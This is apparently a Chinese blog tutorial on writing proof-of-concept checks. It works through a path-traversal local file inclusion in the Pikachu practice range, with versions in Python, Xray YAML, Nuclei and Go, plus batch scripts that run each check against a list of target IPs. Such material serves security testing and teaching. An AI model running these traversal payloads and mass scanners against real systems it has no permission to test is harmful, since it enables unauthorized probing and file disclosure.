最近在写和poc管理利用相关的工具,水一篇poc编写文章。

0.推荐的poc项目

https://github.com/Threekiii/Awesome-POC
https://github.com/wy876/POC
https://github.com/20142995/Goby
https://github.com/adysec/nuclei_poc

以下poc以pikachu靶场本地文件包含为例

1.Python poc

exp.py

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", help="Input the url that u wanna check")
args = parser.parse_args()
url = args.u


def work(url):
url = (
url
+ "/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4"
)
response = requests.get(url)
if response.status_code == 200 and ("咨询" in response.content.decode("utf-8")):
print(url + "--get!")
else:
print(url + "--failed!")


def main():
work(url)


if __name__ == "__main__":
main()

批量验证 main.py

import subprocess
import threadpool


def open_file(filename):
with open(filename, "r", encoding="UTF-8") as f:
filecontent = f.read()
return filecontent


def work(target):
cmd = ["python", "exp.py", "-u", target]
rsp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = rsp.communicate()
output = output.decode("gbk", "ignore")
print(output)
pass


def main():
filename = "ip.txt"
filecontent = open_file(filename)
filecontent = filecontent.split("\n")
pool = threadpool.ThreadPool(10)
requests = threadpool.makeRequests(work, filecontent)
[pool.putRequest(req) for req in requests]
pool.wait()
pass


if __name__ == "__main__":
main()

2.Xray poc

https://docs.xray.cool/plugins/yaml/Format
poc示例

name: poc-yaml-example
transport: http
rules:
r0:
request:
method: GET
path: /
expression: response.status == 200 && response.title.bcontains(b"Example Domain")
expression: r0()
detail:
author: test
links:
- https://example.com

poc大致分为名称 脚本 信息 三部分

1.名称: name: 脚本名称

2.脚本:
transport: 指定协议
rules:规则集 里面有多个rule,rule代表请求规则
request:请求包信息
expression: rule下的expression用来对返回包进行匹配,例如

response.status==200 && response.body_string.contains("Example Domain")

脚本层的expression用作对每个rule的结果进行组合得到的值,用来判断脚本是否匹配成功,例如

expression: r1() && r2() && r3() && r4()

3.detail部分主要定义与脚本相关信息

name: poc-yaml-example
transport: http
rules:
r0:
request:
method: GET
path: /pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4
expression: response.status == 200 && response.body_string.contains("咨询")
expression: r0()
detail:
author: Xrect1fy
links:
- http://Xrect1fy.github.io

3.Nuclei poc

https://docs.projectdiscovery.io/templates/introduction
1.id:编号
2.info:基础信息
3.http:发包协议
4.matchers: 返回结果关键字匹配

id: testfile

info:
name: this is a pikachu test
author: Xrect1fy
severity: medium
description: |
this is a pikachu test
reference:
- http://
tags: pikachu

http:
- raw:
- |
GET /pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.1.412252180.1696003616; _ga_XY08NHY75L=GS1.1.1696928063.3.1.1696928272.0.0.0; Hm_lvt_6eb47a3aeda6ea31fa53985fdfdc78e8=1696003622,1696844040,1696928062
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1

matchers-condition: and
matchers:
- type: word
words:
- "咨询"
- type: status
status:
- 200

4.Golang poc

仿照python用Go写了个版本,多线程换成了goroutines
test.go

package main

import (
"flag"
"fmt"
"io/ioutil"
"net/http"
"strings"
"time"
)

func work(url string) {
url1 := url + "/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../readme.md&submit=%E6%8F%90%E4%BA%A4"
client := http.Client{
Timeout: 10 * time.Second,
}

response, err := client.Get(url1)
currentTime := time.Now().Format("2006-01-02 15:04:05")

if err != nil {
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
}
content := string(body)
if response.StatusCode == http.StatusOK && strings.Contains(content, "咨询") {
fmt.Printf("[+] %s %s -- Success\n", currentTime, url1)
} else {
fmt.Printf("[-] %s %s -- Failed\n", currentTime, url1)
}
}

func main() {
var url string
flag.StringVar(&url, "u", "", "Input the url that you want to check")
flag.Parse()

if url == "" {
fmt.Println("Usage: go run main.go -u <url>")
return
}

work(url)
}

main.go

package main

import (
"fmt"
"os"
"os/exec"
"strings"
"sync"
)

// openFile 读取文件内容并返回一个字符串
func openFile(filename string) (string, error) {
data, err := os.ReadFile(filename)
if err != nil {
return "", err
}
return string(data), nil
}

// work 执行目标命令
func work(target string, wg *sync.WaitGroup) {
defer wg.Done()
cmd := exec.Command("go", "run", "./poc/test.go", "-u", target)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("Output: %s\n", output, err)
return
}
result := strings.ReplaceAll(string(output), "\n", "")
fmt.Println(result)
}

func main() {
filename := ".\\ip.txt"
filecontent, err := openFile(filename)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
//防止WinCLR分隔符
filecontent = strings.ReplaceAll(filecontent, "\r", "")
a := strings.Split(filecontent, "\n")

var wg sync.WaitGroup
for _, line := range a {
if line == "" {
continue
}
wg.Add(1)
go work(line, &wg)
}
wg.Wait()
}